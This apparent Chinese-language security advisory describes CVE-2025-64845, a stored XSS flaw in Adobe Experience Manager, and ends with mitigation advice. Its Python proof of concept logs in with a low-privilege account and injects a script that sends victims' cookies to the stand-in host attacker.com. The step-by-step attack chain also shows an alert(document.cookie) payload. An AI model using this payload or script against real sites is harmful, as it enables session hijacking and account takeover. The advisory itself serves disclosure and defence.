IPBUF安全漏洞报告
English
CVE-2025-64845 CVSS 5.4 中危

CVE-2025-64845 Adobe Experience Manager存储型XSS漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-64845
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Adobe Experience Manager

相关标签

Adobe Experience Manager存储型XSS跨站脚本CVE-2025-64845中危漏洞AEM 6.5Web应用安全会话劫持

漏洞概述

Adobe Experience Manager(AEM)6.5.23及更早版本存在一处存储型跨站脚本(XSS)漏洞。该漏洞允许低权限攻击者在表单字段中注入恶意JavaScript脚本。当其他用户访问包含该恶意字段的页面时,攻击者的JavaScript代码将在受害者浏览器中执行。攻击者可利用此漏洞窃取会话cookie、劫持用户会话、进行钓鱼攻击或修改页面内容。由于需要低权限即可实施攻击,且用户交互要求较低,该漏洞在实际环境中具有较高的利用风险。Adobe已发布安全更新修复此问题,建议用户尽快升级到最新版本。

技术细节

该漏洞为存储型XSS,攻击流程如下:1)攻击者以低权限用户身份登录AEM系统;2)在存在漏洞的表单字段中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>;3)系统未对用户输入进行充分过滤和转义,将恶意脚本存储在数据库中;4)当其他用户访问包含该字段的页面时,服务器将存储的恶意脚本原样返回;5)受害者浏览器执行恶意脚本,导致Cookie被盗或会话被劫持。漏洞根源在于AEM的输入验证机制不完善,未能有效过滤HTML/JavaScript特殊字符。攻击者可通过Custom Form Components、Content Fragments或其他可自定义字段触发此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标AEM版本确认为6.5.23或更早版本,并确定存在漏洞的表单字段位置
STEP 2
步骤2: 低权限登录
攻击者使用低权限账号登录AEM系统,无需管理员权限
STEP 3
步骤3: 注入恶意脚本
在存在漏洞的表单字段中注入XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4: 脚本存储
系统未进行充分输入验证,将恶意脚本存储在数据库中
STEP 5
步骤5: 诱导受害者访问
攻击者诱骗其他用户访问包含恶意字段的页面
STEP 6
步骤6: 脚本执行
受害者浏览器加载页面时执行存储的恶意JavaScript,导致Cookie/会话被盗

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64845 PoC - Stored XSS in Adobe Experience Manager # Target: Adobe Experience Manager < 6.5.24 TARGET_URL = "https://<aem-host>:4502" USERNAME = "attacker" PASSWORD = "password" # XSS Payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def login(): """Authenticate to AEM with low-privilege account""" session = requests.Session() login_url = f"{TARGET_URL}/libs/granite/core/content/login.html" data = { "j_username": USERNAME, "j_password": PASSWORD, "_charset_": "utf-8" } session.post(login_url, data=data, verify=False) return session def inject_xss(session): """Inject malicious script into vulnerable form field""" # Target vulnerable endpoint - adjust path based on environment vuln_url = f"{TARGET_URL}/content/forms/af/<form-name>/jcr:content/guideContainer.af.submit.jsp" headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "<vulnerable-field>": XSS_PAYLOAD, ":operation": "edit", ":formPath": "/content/forms/af/<form-path>" } response = session.post(vuln_url, data=data, headers=headers, verify=False) return response.status_code == 200 def main(): print(f"[*] Testing CVE-2025-64845 on {TARGET_URL}") session = login() if inject_xss(session): print("[+] XSS payload injected successfully") print(f"[+] Payload stored in vulnerable field") print(f"[+] Any user viewing the form will trigger: {XSS_PAYLOAD}") else: print("[-] Injection failed") if __name__ == "__main__": main()

影响范围

Adobe Experience Manager 6.5.23及更早版本
Adobe Experience Manager < 6.5.24

防御指南

临时缓解措施
立即升级Adobe Experience Manager至6.5.24或最新版本;在升级前,可临时禁用受影响表单的渲染或限制低权限用户对表单字段的编辑权限;启用AEM的XSS保护过滤器并配置严格的输入验证规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表